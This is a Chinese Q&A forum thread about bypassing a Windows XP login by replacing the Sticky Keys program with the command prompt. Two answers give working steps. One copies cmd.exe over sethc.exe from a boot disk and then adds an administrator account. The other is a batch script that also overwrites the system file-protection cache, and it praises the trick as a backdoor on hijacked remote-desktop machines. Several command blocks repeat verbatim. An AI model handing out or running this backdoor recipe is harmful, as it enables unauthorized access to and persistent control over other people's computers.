饿..先声明 我菜.
曾经在电脑商情报上面看过一个菜鸟破WIN XP管理员密码的方法
就是如果没有补一个漏洞的话.在输入密码的时候连续按5次SHIFT键可以调出粘滞键.然后原理就是把调出的粘滞键改为CMD 这样就能改管理员密码或者创建新帐户了
问题就是 用什么方法可以把粘滞键改为CMD.
难道没有达人吗= =
1、首先进入系统的设置，打开控制面板，如下图所示。
2、进入控制面板后点击“轻松访问”选项，进入了操作类控制，如下图所示。
3、然后在打开的页面中，在左侧窗口，选择键盘选项。
4、在右侧窗口找到使用粘滞键，一般系统默认是开启快捷键打开粘滞键，即按下5次shift打开粘滞键。
5、点击上方的“一次只按一个键，即可打开粘滞快捷方式”开关按钮，此时输入组合键只需要分开单独按下按键即可。
温馨提示：答案为网友推荐，仅供参考
第1个回答 推荐于2017-10-11
1·用粘滞键就可以一次只按一个键来使用Shift、Ctrl、Alt与Windows徽标键启动粘滞键可通过单击“开始→设置→控制面板→辅助功能选项”，在“键盘”选项卡下选中“使用粘滞键”来启动。
2·或者连续按shift键五次。
3·开启粘滞键的时候，任务栏右边的系统托盘区会出现粘滞键图标。如果想关闭粘滞键，只需将“使用粘滞键”前的钩消除就可以。
2·或者连续按shift键五次。
3·开启粘滞键的时候，任务栏右边的系统托盘区会出现粘滞键图标。如果想关闭粘滞键，只需将“使用粘滞键”前的钩消除就可以。
第2个回答 推荐于2017-10-08
用shift键破解windows xp的登录密码.
(偶可试过的哦.首先用DOS盘启动.然后转到c:\windows\system32\下面.输入如下命令:
copy sethc.exe sethc2.exe 备份粘滞键文件
copy cmd.exe sethc.exe 用cmd.exe覆盖sethc.exe
然后重启.当需要输入密码的时候按5下shift就打开cmd窗口,然后输入如下密码:
net user admin admin /add 添加admin用户,密码是admin
net localgroup administrators admin /add 提升为超级管理员)
(偶可试过的哦.首先用DOS盘启动.然后转到c:\windows\system32\下面.输入如下命令:
copy sethc.exe sethc2.exe 备份粘滞键文件
copy cmd.exe sethc.exe 用cmd.exe覆盖sethc.exe
然后重启.当需要输入密码的时候按5下shift就打开cmd窗口,然后输入如下密码:
net user admin admin /add 添加admin用户,密码是admin
net localgroup administrators admin /add 提升为超级管理员)
参考资料：
本回答被提问者采纳第3个回答 2008-02-15
Windows的粘滞键。是按5下shift后，windows就执行了system32下的sethc.exe。即使
在3389中，都可以弹出！！
它本来是为不方便按组合键的人设计的。 如果我们把那个sethc.exe替换成我们想要的其它文件，比如说cmd.exe，那么就可以像你说的创建用户了.
其实写的批处理就可以解决了 又不麻烦
@echo off
del /q %systemroot%\system32\dllcache\sethc.exe
del /q %systemroot%\system32\sethc.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe
我把它保存为5shift.bat。当我们运行它的时候，sethc.exe 就被换成了改了名的cmd.exe了。
可能由于cmd也是系统文件，所以替换是并没有弹出文件保护。呵呵。
个人感觉这个后门非常实用（特别是3389肉鸡！）。哪个管理员会考虑到这种后门呢
然后你就可以创建用户了
net user [UserName [Password | *] [options] [/domain]
net user [UserName {Password | *} /add [options] [/domain]
net user [UserName [/delete] [/domain]
在3389中，都可以弹出！！
它本来是为不方便按组合键的人设计的。 如果我们把那个sethc.exe替换成我们想要的其它文件，比如说cmd.exe，那么就可以像你说的创建用户了.
其实写的批处理就可以解决了 又不麻烦
@echo off
del /q %systemroot%\system32\dllcache\sethc.exe
del /q %systemroot%\system32\sethc.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe
我把它保存为5shift.bat。当我们运行它的时候，sethc.exe 就被换成了改了名的cmd.exe了。
可能由于cmd也是系统文件，所以替换是并没有弹出文件保护。呵呵。
个人感觉这个后门非常实用（特别是3389肉鸡！）。哪个管理员会考虑到这种后门呢
然后你就可以创建用户了
net user [UserName [Password | *] [options] [/domain]
net user [UserName {Password | *} /add [options] [/domain]
net user [UserName [/delete] [/domain]
第4个回答 2008-02-12
你先连续按SHIFT 按出提示，就有设置了
